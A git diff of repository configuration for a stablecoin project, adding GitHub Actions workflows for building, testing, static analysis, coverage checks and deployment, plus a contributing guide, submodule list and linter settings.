diff --git a/.env.example b/.env.example new file mode 100644 index 000000000..3d94fb811 --- /dev/null +++ b/.env.example @@ -0,0 +1,5 @@ +# infura key created at infura.io +INFURA_ID=XXXXXX +NEXT_PUBLIC_JSON_RPC_URL=XXXXXX +NEXT_PUBLIC_WALLET_CONNECT_ID=XXXXXX +NEXT_PUBLIC_DEBUG= diff --git a/.eslintignore b/.eslintignore index f9bbb0e95..c3167b887 100644 --- a/.eslintignore +++ b/.eslintignore @@ -1,3 +1,4 @@ dist/ .next/ dist/_next/ +!.solhint.json diff --git a/.eslintrc b/.eslintrc.json similarity index 81% rename from .eslintrc rename to .eslintrc.json index 7be7ad443..ec19e9ecf 100644 --- a/.eslintrc +++ b/.eslintrc.json @@ -6,7 +6,12 @@ "rules": { "@typescript-eslint/explicit-module-boundary-types": "off", "@typescript-eslint/no-empty-function": "off", - "prettier/prettier": "warn" + "prettier/prettier": [ + "warn", + { + "endOfLine": "auto" + } + ] }, "env": { "browser": true, diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 000000000..ffa5b8821 --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1 @@ +* @rndquu diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md new file mode 100644 index 000000000..e7442e766 --- /dev/null +++ b/.github/CONTRIBUTING.md @@ -0,0 +1,23 @@ +# Contributing +- We welcome everybody to participate in improving the codebase. +- We offer financial incentives for solved issues. +- Please learn how to contribute via the DevPool [here](https://dao.ubq.fi/devpool). + +### Coding Styleguide + +- We use camelCase for identifiers (variable, function, method names) do not use snake_case +- `NFT` should be `Nft` in identifers e.g. `creditNft` +- Do not refer to token symbols directly in identifiers, instead write the intent of the token. We have the ability to update the names of the tokens (as we already have done on Ethereum mainnet) which leads to confusion. + - `uAD` ⮕ `dollar` + - `uCR` ⮕ `credit` + - `uCR-NFT` ⮕ `creditNft` + - `UBQ` ⮕ `governance` + +- We generally should not use "Ubiquity" in identifers and filenames. This is the Ubiquity Dollar repository so Ubiquity is implied. + - The exception is when we are working in third party contexts, for example the Curve (3pool) metapool related code, it is good to write ubiquityDollar because the other assets in the pool are USDC, USDT and DAI (other types of dollars!) + +#### Contract Renames + +- We rebranded "Bonding" to "Staking" to disambiguate our bonds (e.g. Chicken Bonds) branding. +- We rebranded "Debts" to "Credits" because it has a positive connotation for the users. +- We rebranded "Ubiquity Algorithmic Dollar" to "Ubiquity Dollar" because the term "algorithmic" is contentious in this context after Luna. diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 000000000..cde984363 --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,6 @@ +Resolves # + + diff --git a/.github/ubiquibot-config.yml b/.github/ubiquibot-config.yml new file mode 100644 index 000000000..ca0ec82f0 --- /dev/null +++ b/.github/ubiquibot-config.yml @@ -0,0 +1,5 @@ +payments: + evmNetworkId: 100 + basePriceMultiplier: 3 + issueCreatorMultiplier: 3 + maxPermitPrice: 1000 \ No newline at end of file diff --git a/.github/workflows/build-and-test.yml b/.github/workflows/build-and-test.yml new file mode 100644 index 000000000..3cd8d391e --- /dev/null +++ b/.github/workflows/build-and-test.yml @@ -0,0 +1,51 @@ +name: Build & Test + +on: + push: + pull_request: + workflow_dispatch: + +permissions: + contents: read + +jobs: + build-and-test: + name: Build & Test + runs-on: ubuntu-22.04 + + steps: + - name: Checkout repository + uses: actions/checkout@v3 + + - name: Setup Node + uses: actions/setup-node@v3 + with: + node-version: "20.10.0" + + - name: Install dependencies + run: sudo apt -y update && sudo apt -y install libusb-1.0-0-dev libudev-dev + + - name: Setup Foundry + uses: foundry-rs/foundry-toolchain@v1 + with: + version: nightly-5be158ba6dc7c798a6f032026fe60fc01686b33b + + - name: Yarn Install + run: yarn install --mode=skip-build && yarn allow-scripts + + - name: Setup Forge + run: yarn workspace @ubiquity/contracts forge:install + + - name: Build All + env: + FOUNDRY_DENY_WARNINGS: true + run: yarn build + + - name: Test All + run: yarn test:all + + - name: Upload build artifact + uses: actions/upload-artifact@v4 + with: + name: static + path: packages/dapp/dist diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml new file mode 100644 index 000000000..c79628ea1 --- /dev/null +++ b/.github/workflows/codeql-analysis.yml @@ -0,0 +1,35 @@ +name: CodeQL Analysis + +on: + pull_request: + push: + branches: + - development + +jobs: + code-ql-analysis: + name: CodeQL Analysis + runs-on: ubuntu-latest + permissions: + actions: read + contents: read + security-events: write + + strategy: + fail-fast: false + matrix: + language: ["javascript", "typescript"] + # CodeQL currently supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ] + # Modified to support codebase. Currently no support for Solidity Language + + steps: + - name: Checkout repository + uses: actions/checkout@v2 + + - name: Init CodeQL + uses: github/codeql-action/init@v2 + with: + languages: ${{ matrix.language }} + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v2 diff --git a/.github/workflows/conventional-commits.yml b/.github/workflows/conventional-commits.yml new file mode 100644 index 000000000..6482cd5e2 --- /dev/null +++ b/.github/workflows/conventional-commits.yml @@ -0,0 +1,14 @@ +name: Conventional Commits + +on: + pull_request: + push: + branches: [development] + +jobs: + conventional-commits: + name: Conventional Commits + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - uses: ubiquity/action-conventional-commits@master diff --git a/.github/workflows/core-contracts-storage-check.yml b/.github/workflows/core-contracts-storage-check.yml new file mode 100644 index 000000000..085e4d3bb --- /dev/null +++ b/.github/workflows/core-contracts-storage-check.yml @@ -0,0 +1,71 @@ +name: Check For Core Contracts Storage Changes + +on: + push: + branches: + - development + pull_request: + +jobs: + provide_contracts: + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v3 + with: + submodules: recursive + + - name: Install Foundry + uses: onbjerg/foundry-toolchain@v1 + with: + version: nightly + + - name: Narrow down test matrix scope to changed contracts to limit API requests + id: changed-contracts + uses: tj-actions/changed-files@v42 + with: + files_yaml: | + contracts: + - packages/contracts/src/dollar/core/*.sol + + - name: Set contracts matrix + id: set-matrix + working-directory: packages/contracts + if: steps.changed-contracts.outputs.contracts_any_changed == 'true' + env: + CHANGED_CONTRACTS: ${{ steps.changed-contracts.outputs.contracts_all_changed_files }} + run: | + for CONTRACT in "$CHANGED_CONTRACTS"; do + echo ${CONTRACT} | xargs basename -a | cut -d'.' -f1 | xargs -I{} echo src/dollar/core/{}.sol:{} >> contracts.txt + done + echo "matrix=$(cat contracts.txt | jq -R -s -c 'split("\n")[:-1]')" >> $GITHUB_OUTPUT + + outputs: + matrix: ${{ steps.set-matrix.outputs.matrix }} + + check_storage_layout: + needs: provide_contracts + runs-on: ubuntu-latest + if: ${{ needs.provide_contracts.outputs.matrix != '[]' && needs.provide_contracts.outputs.matrix != '' }} + + strategy: + matrix: + contract: ${{ fromJSON(needs.provide_contracts.outputs.matrix) }} + + steps: + - uses: actions/checkout@v3 + with: + submodules: recursive + + - name: Install Foundry + uses: onbjerg/foundry-toolchain@v1 + with: + version: nightly + + - name: Check For Core Contracts Storage Changes + uses: Rubilmax/foundry-storage-check@main + with: + workingDirectory: packages/contracts + contract: ${{ matrix.contract }} + failOnRemoval: true + diff --git a/.github/workflows/coverage-check.yml b/.github/workflows/coverage-check.yml new file mode 100644 index 000000000..df4fd72bd --- /dev/null +++ b/.github/workflows/coverage-check.yml @@ -0,0 +1,119 @@ +name: Compare Test Coverage +# This compares test coverage and throws an error if test coverage is lower than the previous run. + +on: + push: + branches: [development] + pull_request: + branches: [development] + +jobs: + test-coverage: + name: Compare Test Coverage + runs-on: ubuntu-22.04 + permissions: + contents: read + + steps: + - name: Checkout development branch + uses: actions/checkout@v3 + with: + ref: development + path: development + + - name: Setup Foundry + uses: foundry-rs/foundry-toolchain@v1 + with: + version: nightly-5be158ba6dc7c798a6f032026fe60fc01686b33b + + - name: Install dependencies + run: sudo apt-get install lcov + + - name: Get development branch coverage + id: coverage-development + working-directory: development/packages/contracts + run: | + # generates lcov.info + forge build && forge coverage --report lcov + + # Merge lcov files + lcov \ + --rc lcov_branch_coverage=1 \ + --add-tracefile lcov.info \ + --output-file merged-lcov.info + + # Filter out node_modules, test, and mock files + lcov \ + --rc lcov_branch_coverage=1 \ + --remove merged-lcov.info \ + --output-file filtered-lcov.info \ + "*node_modules*" \ + "*test*" \ + "*mock*" \ + "*scripts*" \ + "src/dollar/mocks/*" \ + "src/dollar/utils/*" \ + "src/deprecated/*" \ + "test/*" \ + + # Generate summary + COVERAGE_DEVELOPMENT_OUTPUT=$(lcov \ + --rc lcov_branch_coverage=1 \ + --list filtered-lcov.info) + + echo COVERAGE=$(echo "${COVERAGE_DEVELOPMENT_OUTPUT}" | tail -n 1 | cut -d % -f 1 | cut -d \| -f 2) >> $GITHUB_OUTPUT + + - name: Delete development branch folder + run: rm -rf development + + - name: Checkout code in PR branch + uses: actions/checkout@v3 + + - name: Get PR branch coverage + id: coverage-pr + working-directory: packages/contracts + run: | + # generates lcov.info + forge build && forge coverage --report lcov + + # Merge lcov files + lcov \ + --rc lcov_branch_coverage=1 \ + --add-tracefile lcov.info \ + --output-file merged-lcov.info + + # Filter out node_modules, test, and mock files + lcov \ + --rc lcov_branch_coverage=1 \ + --remove merged-lcov.info \ + --output-file filtered-lcov.info \ + "*node_modules*" \ + "*test*" \ + "*mock*" \ + "*scripts*" \ + "src/dollar/mocks/*" \ + "src/dollar/utils/*" \ + "src/deprecated/*" \ + "test/*" \ + + # Generate summary + COVERAGE_DEVELOPMENT_OUTPUT=$(lcov \ + --rc lcov_branch_coverage=1 \ + --list filtered-lcov.info) + echo COVERAGE=$(echo "${COVERAGE_DEVELOPMENT_OUTPUT}" | tail -n 1 | cut -d % -f 1 | cut -d \| -f 2) >> $GITHUB_OUTPUT + + - name: Print coverages + run: | + echo Development branch coverage: ${{ steps.coverage-development.outputs.COVERAGE }} + echo PR branch coverage: ${{ steps.coverage-pr.outputs.COVERAGE }} + + - name: Compare coverages + if: ${{ steps.coverage-development.outputs.COVERAGE > steps.coverage-pr.outputs.COVERAGE }} + run: | + echo "Error: test coverage decreased" + exit 1 + + - name: Upload test coverage report to coveralls.io + uses: coverallsapp/github-action@v2 + with: + file: packages/contracts/filtered-lcov.info diff --git a/.github/workflows/create-diagram.yml b/.github/workflows/create-diagram.yml new file mode 100644 index 000000000..a77fa8087 --- /dev/null +++ b/.github/workflows/create-diagram.yml @@ -0,0 +1,27 @@ +name: Create Diagram +on: + workflow_dispatch: {} + push: + branches: + - main +jobs: + create-diagram: + name: Create Diagram + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@master + - name: Update Diagram (Contracts) + uses: githubocto/repo-visualizer@main + with: + excluded_paths: "ignore,.github" + output_file: "utils/diagram-contracts.svg" + root_path: "packages/contracts/" + commit_message: "docs(diagram): contracts" + - name: Update Diagram (User Interface) + uses: githubocto/repo-visualizer@main + with: + excluded_paths: "ignore,.github" + output_file: "utils/diagram-ui.svg" + root_path: "packages/dapp/" + commit_message: "docs(diagram): ui" diff --git a/.github/workflows/deep-fuzz.yml b/.github/workflows/deep-fuzz.yml new file mode 100644 index 000000000..d0329cb12 --- /dev/null +++ b/.github/workflows/deep-fuzz.yml @@ -0,0 +1,31 @@ +name: Deep Fuzz +on: + push: + branches: + - development + paths: + - '**.sol' + +jobs: + deep-fuzz: + name: Deep Fuzz + runs-on: ubuntu-22.04 + env: + FOUNDRY_PROFILE: intense + + steps: + - name: Checkout repository + uses: actions/checkout@v3 + + - name: Setup Foundry + uses: foundry-rs/foundry-toolchain@v1 + with: + version: nightly-5be158ba6dc7c798a6f032026fe60fc01686b33b + + - name: Forge install + working-directory: packages/contracts + run: forge install + + - name: Deep Fuzz Solidity Contracts + working-directory: packages/contracts + run: forge test diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml new file mode 100644 index 000000000..774d6cf96 --- /dev/null +++ b/.github/workflows/deploy.yml @@ -0,0 +1,26 @@ +name: Deploy to Cloudflare Pages + +on: + workflow_run: + workflows: ["Build & Test"] + types: + - completed + +jobs: + deploy-to-cloudflare: + name: Automatic Cloudflare Deploy + runs-on: ubuntu-22.04 + steps: + - name: Deploy to Cloudflare + if: ${{ github.event.workflow_run.conclusion == 'success' }} + uses: ubiquity/cloudflare-deploy-action@main + with: + repository: ${{ github.repository }} + production_branch: ${{ github.event.repository.default_branch }} + build_artifact_name: "static" + output_directory: "static" + current_branch: ${{ github.event.workflow_run.head_branch }} + cloudflare_account_id: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }} + cloudflare_api_token: ${{ secrets.CLOUDFLARE_API_TOKEN }} + commit_sha: ${{ github.event.workflow_run.head_sha }} + workflow_run_id: ${{ github.event.workflow_run.id }} diff --git a/.github/workflows/development-ci.yml b/.github/workflows/development-ci.yml new file mode 100644 index 000000000..207cdc05f --- /dev/null +++ b/.github/workflows/development-ci.yml @@ -0,0 +1,37 @@ +name: Development to Development-CI Sync + +on: + push: + branches: + - development + workflow_dispatch: + +permissions: + contents: write + +jobs: + sync: + runs-on: ubuntu-latest + name: Sync changes from development to development-ci + + steps: + - name: Checkout repository + uses: actions/checkout@v3 + with: + fetch-depth: 0 + - name: Run merge + run: | + git config --global user.email "github-actions[bot]@users.noreply.github.com" + git config --global user.name "github-actions[bot]" + git checkout development-ci + echo "debug information" + git status + git branch -avv + git log --graph --pretty=oneline --abbrev-commit --all -20 + echo "git diff" + git diff development + echo "== merging ==" + (git merge development\ + && git push\ + && echo "successfully rebased features to development-ci")\ + || (echo "cannot automatically sync due to merge conflicts" && exit 1) diff --git a/.github/workflows/diamond-storage-check.yml b/.github/workflows/diamond-storage-check.yml new file mode 100644 index 000000000..d4f869098 --- /dev/null +++ b/.github/workflows/diamond-storage-check.yml @@ -0,0 +1,75 @@ +name: Check For Diamond Storage Changes + +on: + push: + branches: + - development + paths: + - '**.sol' + pull_request: + paths: + - '**.sol' + +jobs: + provide_contracts: + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v3 + with: + submodules: recursive + + - name: Install Foundry + uses: onbjerg/foundry-toolchain@v1 + with: + version: nightly + + - name: Narrow down test matrix scope to changed Dollar libraries to limit API requests + id: changed-libraries + uses: tj-actions/changed-files@v42 + with: + files_yaml: | + libraries: + - packages/contracts/src/dollar/libraries/Lib*.sol + + - name: Set contracts matrix + id: set-matrix + working-directory: packages/contracts + if: steps.changed-libraries.outputs.libraries_any_changed == 'true' + env: + CHANGED_LIBS: ${{ steps.changed-libraries.outputs.libraries_all_changed_files }} + run: | + for DIAMOND_LIB in "$CHANGED_LIBS"; do + echo ${DIAMOND_LIB} | xargs basename -a | cut -d'.' -f1 | xargs -I{} echo src/dollar/libraries/{}.sol:{} >> contracts.txt + done + echo "matrix=$(cat contracts.txt | jq -R -s -c 'split("\n")[:-1]')" >> $GITHUB_OUTPUT + + outputs: + matrix: ${{ steps.set-matrix.outputs.matrix }} + + check_storage_layout: + needs: provide_contracts + runs-on: ubuntu-latest + if: ${{ needs.provide_contracts.outputs.matrix != '[]' && needs.provide_contracts.outputs.matrix != '' }} + + strategy: + matrix: + contract: ${{ fromJSON(needs.provide_contracts.outputs.matrix) }} + + steps: + - uses: actions/checkout@v3 + with: + submodules: recursive + + - name: Install Foundry + uses: onbjerg/foundry-toolchain@v1 + with: + version: nightly + + - name: Check For Diamond Storage Changes + uses: ubiquity/foundry-storage-check@main + with: + workingDirectory: packages/contracts + contract: ${{ matrix.contract }} + failOnRemoval: true + failOnLabelDiff: true diff --git a/.github/workflows/enforce-kebab-case.yml b/.github/workflows/enforce-kebab-case.yml new file mode 100644 index 000000000..71d9cef4c --- /dev/null +++ b/.github/workflows/enforce-kebab-case.yml @@ -0,0 +1,30 @@ +name: Enforce kebab-case + +on: [push, pull_request] + +jobs: + check-filenames: + runs-on: ubuntu-latest + steps: + - name: Check out code + uses: actions/checkout@v2 + + - name: Check For Non Kebab-Cased File Names + run: | + non_compliant_files=() + while read -r file; do + basefile=$(basename "$file") + if echo "$file" | grep -q -E "^\.\/\..*\/|^\.\/[^\/]*$|^\.\/node_modules|^\.\/\.git|^\.\/dist|^\.\/build|^\.\/vendor|^\.\/\.next|\.sql$|\.md$|LICENSE|echidna\.config\.yml|\.env\.example|slither\.config\.json|\.solhint\.json|\.npmrc|global\.d\.ts|_app\.tsx|next-env\.d\.ts|next\.config\.js|docs|\.sol$"; then + continue + elif ! echo "$basefile" | grep -q -E "^([a-z0-9]+-)*[a-z0-9]+(\.[a-zA-Z0-9]+)?$|^([a-z0-9]+_)*[a-z0-9]+(\.[a-zA-Z0-9]+)?$"; then + non_compliant_files+=("$file") + echo "::warning file=$file::This file is not in kebab-case or snake_case" + fi + done < <(find . -type f) + if [ ${#non_compliant_files[@]} -ne 0 ]; then + echo "The following files are not in kebab-case or snake_case:" + for file in "${non_compliant_files[@]}"; do + echo " - $file" + done + exit 1 + fi diff --git a/.github/workflows/generate-doc.yml b/.github/workflows/generate-doc.yml new file mode 100644 index 000000000..59795e903 --- /dev/null +++ b/.github/workflows/generate-doc.yml @@ -0,0 +1,52 @@ +name: Auto Generate Doc + +on: + workflow_dispatch: + push: + branches: + - development + paths: + - '**.sol' + +jobs: + generate-doc: + name: Generate Doc + if: github.repository == 'ubiquity/ubiquity-dollar' + runs-on: ubuntu-22.04 + permissions: + contents: write + + steps: + - name: Checkout repository + uses: actions/checkout@v3 + + - name: Setup Node + uses: actions/setup-node@v3 + with: + node-version: "20.10.0" + + - name: Setup Foundry + uses: foundry-rs/foundry-toolchain@v1 + with: + version: nightly-5be158ba6dc7c798a6f032026fe60fc01686b33b + + - name: Yarn Install + run: yarn install --mode=skip-build && yarn allow-scripts + + - name: Generate Docs + run: yarn workspace @ubiquity/contracts docs + + - name: Push docs changed + run: | + git config --global user.email "github-actions[bot]@users.noreply.github.com" + git config --global user.name "github-actions[bot]" + echo "Check git information" + git status + git branch -avv + git log --graph --pretty=oneline --abbrev-commit --all -20 + echo "git diff" + git diff + git add . + git commit -m "docs: auto generate NATSPEC docs" + echo "do git push to development branch" + git push origin development diff --git a/.github/workflows/install-and-build-pr.yml b/.github/workflows/install-and-build-pr.yml deleted file mode 100644 index b54577451..000000000 --- a/.github/workflows/install-and-build-pr.yml +++ /dev/null @@ -1,55 +0,0 @@ -name: Install and Build Workflow - -on: - pull_request: - push: - create: - tag: - - "v*" - -jobs: - build-and-test: - runs-on: ubuntu-latest - permissions: - contents: read - - steps: - - name: Checkout repository - uses: actions/checkout@v2 - - - name: Setup Node - uses: actions/setup-node@v2 - with: - node-version: "16" - - - name: Install dependencies - run: sudo apt -y install libusb-1.0-0-dev libudev-dev - - - name: Install - run: yarn install - - - name: Setup Env - env: - INFURA_ID: ${{ secrets.INFURA_ID }} - API_KEY_ALCHEMY: ${{ secrets.API_KEY_ALCHEMY }} - run: | - echo "INFURA_ID=$INFURA_ID" > ./packages/dapp/.env - echo "API_KEY_ALCHEMY=$API_KEY_ALCHEMY" >> ./packages/dapp/.env - - - name: Build - run: yarn build:all - - - name: Save PR - env: - EVENT_NAME: ${{github.event_name}} - PR_NUMBER: ${{ github.event.number }} - SHA: ${{github.sha}} - run: | - echo "event_name=$EVENT_NAME,pr_number=$PR_NUMBER,sha=$SHA" - mkdir -p ./pr - echo "event_name=$EVENT_NAME,pr_number=$PR_NUMBER,sha=$SHA," > ./pr/pr_number - cd ./packages/dapp && zip -r pull-request.zip ./dist && cp pull-request.zip ../../pr - - uses: actions/upload-artifact@v2 - with: - name: pr - path: pr/ diff --git a/.github/workflows/received-workflow-and-deploy.yml b/.github/workflows/received-workflow-and-deploy.yml deleted file mode 100644 index e9285b67a..000000000 --- a/.github/workflows/received-workflow-and-deploy.yml +++ /dev/null @@ -1,43 +0,0 @@ -name: Receive workflow and Deploy - -on: - workflow_run: - workflows: ["Install and Build Workflow"] - types: - - completed - -jobs: - receive-pr-and-deploy: - runs-on: ubuntu-latest - env: - NETLIFY_AUTH_TOKEN: ${{ secrets.NETLIFY_AUTH_TOKEN }} - if: ${{ github.event.workflow_run.conclusion == 'success' }} - steps: - - name: Checkout repository - uses: actions/checkout@v2 - - - name: "Download artifact" - uses: actions/github-script@v3.1.0 - with: - script: | - const fs = require("fs"); - const download_artifact = require('${{ github.workspace }}/utils/download_artifact.js'); - const workflow_run_id = '${{ github.event.workflow_run.id }}'; - const workspace = '${{ github.workspace }}'; - download_artifact({github, context, fs, workflow_run_id, workspace}) - - name: Extract files - run: unzip pr.zip && unzip pull-request.zip && ls - - - name: Deploy Development - run: | - netlify link --id ${{ secrets.NETLIFY_SITE_ID_DEVELOPMENT }} - netlify deploy --dir=./dist --prod > ./deployments.log - - - name: Print Logs - uses: actions/github-script@v6 - with: - github-token: ${{ secrets.GITHUB_TOKEN }} - script: | - const fs = require("fs"); - const print_deployments_log = require('${{ github.workspace }}/utils/print_deployments_logs.js'); - await print_deployments_log({github, context, fs}); diff --git a/.github/workflows/setup-anvil.yml b/.github/workflows/setup-anvil.yml new file mode 100644 index 000000000..ed5373175 --- /dev/null +++ b/.github/workflows/setup-anvil.yml @@ -0,0 +1,31 @@ +on: workflow_dispatch + +name: Setup Anvil + +jobs: + setup-anvil: + name: Setup Anvil + runs-on: ubuntu-latest + steps: + - name: Install Foundry + uses: foundry-rs/foundry-toolchain@v1 + with: + version: nightly + - name: Install Cloudflared + uses: supplypike/setup-bin@v3 + with: + uri: "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64" + name: "cloudflared" + version: "latest" + - name: Tunnel Anvil + id: tunnel + run: cloudflared tunnel --url http://localhost:8545 --logfile cloudflared.log & + shell: bash + - name: Extract Cloudflared URL + run: | + grep -E "https://.*.trycloudflare.com" cloudflared.log | cut -d'|' -f2 | tr -d ' ' > cloudflare-url.txt + cat cloudflare-url.txt + shell: bash + - name: Run Anvil + run: anvil + shell: bash diff --git a/.github/workflows/slither-analysis.yml b/.github/workflows/slither-analysis.yml new file mode 100644 index 000000000..0d515a6b7 --- /dev/null +++ b/.github/workflows/slither-analysis.yml @@ -0,0 +1,40 @@ +name: Slither Analysis +on: + push: + branches: + - development + - main + paths: + - '**.sol' + pull_request: + paths: + - '**.sol' + +jobs: + slither-analysis: + name: Slither Analysis + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v3 + + - name: Set up Python 3.10 + uses: actions/setup-python@v4 + with: + python-version: "3.10" + + - name: Install Foundry + uses: foundry-rs/foundry-toolchain@v1 + with: + version: nightly + + - name: Install Slither + run: pip3 install slither-analyzer + + - name: Install dependencies + run: | + yarn install + yarn workspace @ubiquity/contracts forge:install + + - name: Test with Slither + run: yarn workspace @ubiquity/contracts run test:slither diff --git a/.github/workflows/spell-check.yml b/.github/workflows/spell-check.yml new file mode 100644 index 000000000..e8a902127 --- /dev/null +++ b/.github/workflows/spell-check.yml @@ -0,0 +1,27 @@ +name: Spell Check +on: + push: + pull_request: + types: [opened, synchronize] + +jobs: + spell-check: + name: Spell Check + runs-on: ubuntu-latest + permissions: + contents: read + deployments: write + + steps: + - name: Checkout + uses: actions/checkout@v3 + + - name: Setup Node + uses: actions/setup-node@v3 + with: + node-version: "20.10.0" + + - name: Spell Check + run: | + LIST="$(find . -type f \( -name '*.sol' -o -name '*.tsx' -o -name '*.ts' \) ! -path '*/node_modules/*' ! -path '*/lib/*' ! -path '*/types/*')" + yes | npx cspell $LIST diff --git a/.github/workflows/yarn-audit.yml b/.github/workflows/yarn-audit.yml new file mode 100644 index 000000000..ceb992a23 --- /dev/null +++ b/.github/workflows/yarn-audit.yml @@ -0,0 +1,25 @@ +name: Yarn Audit + +on: + pull_request: + push: + +jobs: + audit-and-fix: + name: Audit & Fix + runs-on: ubuntu-22.04 + + steps: + - name: Checkout repository + uses: actions/checkout@v3.1.0 + + - name: Setup Node + uses: actions/setup-node@v3 + with: + node-version: "20.10.0" + + - name: Install dependencies + run: yarn install + + - name: Audit + run: yes | yarn yarn-audit-fix \ No newline at end of file diff --git a/.gitignore b/.gitignore index 1c5948324..22ad3c50e 100644 --- a/.gitignore +++ b/.gitignore @@ -52,7 +52,21 @@ fixtures/abi/types/ dist/ fixtures/contracts-addresses/* +# Ignore all transaction logs except: +# - latest development log +# - mainnet logs +# - sepolia testnet logs +packages/contracts/broadcast/*/*/* +!packages/contracts/broadcast/**/1/* +!packages/contracts/broadcast/**/11155111/* + .yarn .yarn/* !.yarn/releases !.yarn/plugins +cache +build +out +packages/dapp/types/ +.vscode/ +/packages/contracts/*.info diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 000000000..ff98ee869 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,40 @@ +[submodule "packages/contracts/lib/Uniswap/v2-periphery"] + path = packages/contracts/lib/Uniswap/v2-periphery + url = https://github.com/Uniswap/v2-periphery.git + branch= master +[submodule "packages/contracts/lib/Uniswap/v2-core"] + path = packages/contracts/lib/Uniswap/v2-core + url = https://github.com/Uniswap/v2-core.git + branch= master +[submodule "packages/contracts/lib/solidity-linked-list"] + path = packages/contracts/lib/solidity-linked-list + url = https://github.com/vittominacori/solidity-linked-list + branch= master +[submodule "packages/contracts/lib/openzeppelin-contracts"] + path = packages/contracts/lib/openzeppelin-contracts + url = https://github.com/OpenZeppelin/openzeppelin-contracts + branch = release-v4.9 +[submodule "packages/contracts/lib/forge-std"] + path = packages/contracts/lib/forge-std + url = https://github.com/foundry-rs/forge-std + branch = chore/reorder-vm # v1.6.1 +[submodule "packages/contracts/lib/abdk-libraries-solidity"] + path = packages/contracts/lib/abdk-libraries-solidity + url = https://github.com/abdk-consulting/abdk-libraries-solidity + branch= master +[submodule "packages/contracts/lib/operator-filter-registry"] + path = packages/contracts/lib/operator-filter-registry + url = https://github.com/ProjectOpenSea/operator-filter-registry + branch= v1.4.0 +[submodule "packages/contracts/lib/Uniswap/v3-periphery"] + path = packages/contracts/lib/Uniswap/v3-periphery + url = https://github.com/Uniswap/v3-periphery.git + branch= main +[submodule "packages/contracts/lib/openzeppelin-contracts-upgradeable"] + path = packages/contracts/lib/openzeppelin-contracts-upgradeable + url = https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable + branch = release-v4.9 +[submodule "packages/contracts/lib/chainlink-brownie-contracts"] + path = packages/contracts/lib/chainlink-brownie-contracts + url = https://github.com/smartcontractkit/chainlink-brownie-contracts + branch= main \ No newline at end of file diff --git a/.husky/commit-msg b/.husky/commit-msg new file mode 100755 index 000000000..4c49ae6ae --- /dev/null +++ b/.husky/commit-msg @@ -0,0 +1,4 @@ +#!/usr/bin/env sh +. "$(dirname -- "$0")/_/husky.sh" + +yarn commitlint --edit $1 diff --git a/.husky/pre-commit b/.husky/pre-commit index 50ef7beca..cbd589fed 100755 --- a/.husky/pre-commit +++ b/.husky/pre-commit @@ -1,3 +1,4 @@ -#!/bin/sh -. "$(dirname "$0")/_/husky.sh" -yarn lint-staged --verbose +#!/usr/bin/env sh +. "$(dirname -- "$0")/_/husky.sh" + +yarn lint-staged --verbose \ No newline at end of file diff --git a/.nvmrc b/.nvmrc index 7fd023741..016efd8a0 100644 --- a/.nvmrc +++ b/.nvmrc @@ -1 +1 @@ -v16.15.0 +v20.10.0 \ No newline at end of file diff --git a/packages/dapp/.prettierignore b/.prettierignore similarity index 71% rename from packages/dapp/.prettierignore rename to .prettierignore index 0990caba6..5b5476ec1 100644 --- a/packages/dapp/.prettierignore +++ b/.prettierignore @@ -1,3 +1,5 @@ dist/ .next/ fixtures/ +lib/ +out/ \ No newline at end of file diff --git a/.prettierrc b/.prettierrc.json similarity index 80% rename from .prettierrc rename to .prettierrc.json index f032c9645..9a8a0898c 100644 --- a/.prettierrc +++ b/.prettierrc.json @@ -5,7 +5,7 @@ "singleQuote": false, "printWidth": 160, "htmlWhitespaceSensitivity": "strict", - "plugins": [], + "plugins": ["prettier-plugin-solidity"], "overrides": [ { "files": "*.sol", @@ -14,8 +14,7 @@ "tabWidth": 4, "useTabs": false, "singleQuote": false, - "bracketSpacing": false, - "explicitTypes": "always" + "bracketSpacing": false } } ] diff --git a/.vscode/settings.json b/.vscode/settings.json deleted file mode 100644 index 799ab6d97..000000000 --- a/.vscode/settings.json +++ /dev/null @@ -1,39 +0,0 @@ -{ - "[shellscript]": { - "editor.defaultFormatter": "foxundermoon.shell-format" - }, - "[dotenv]": { - "editor.defaultFormatter": "foxundermoon.shell-format" - }, - "[ignore]": { - "editor.defaultFormatter": "foxundermoon.shell-format" - }, - "[typescript]": { - "editor.defaultFormatter": "vscode.typescript-language-features" - }, - "[typescriptreact]": { - "editor.defaultFormatter": "esbenp.prettier-vscode" - }, - "files.autoSave": "onFocusChange", - "prettier.requireConfig": false, - "prettier.semi": false, - "editor.codeActionsOnSave": { "source.fixAll": true }, - "editor.defaultFormatter": "esbenp.prettier-vscode", - "editor.formatOnPaste": true, - "editor.formatOnSave": true, - "editor.formatOnType": true, - "eslint.alwaysShowStatus": true, - "html.format.enable": false, - "[html]": { - "editor.defaultFormatter": "esbenp.prettier-vscode", - "editor.formatOnSave": true - }, - "[javascript]": { - "editor.defaultFormatter": "esbenp.prettier-vscode", - "editor.formatOnSave": true - }, - "[json]": { - "editor.defaultFormatter": "esbenp.prettier-vscode", - "editor.formatOnSave": true - } -} diff --git a/.yarnrc.yml b/.yarnrc.yml index 4ac0189a0..f19f67376 100644 --- a/.yarnrc.yml +++ b/.yarnrc.yml @@ -25,3 +25,37 @@ plugins: spec: "https://yarn.build/latest" yarnPath: .yarn/releases/yarn-3.2.3.cjs +enableScripts: true + 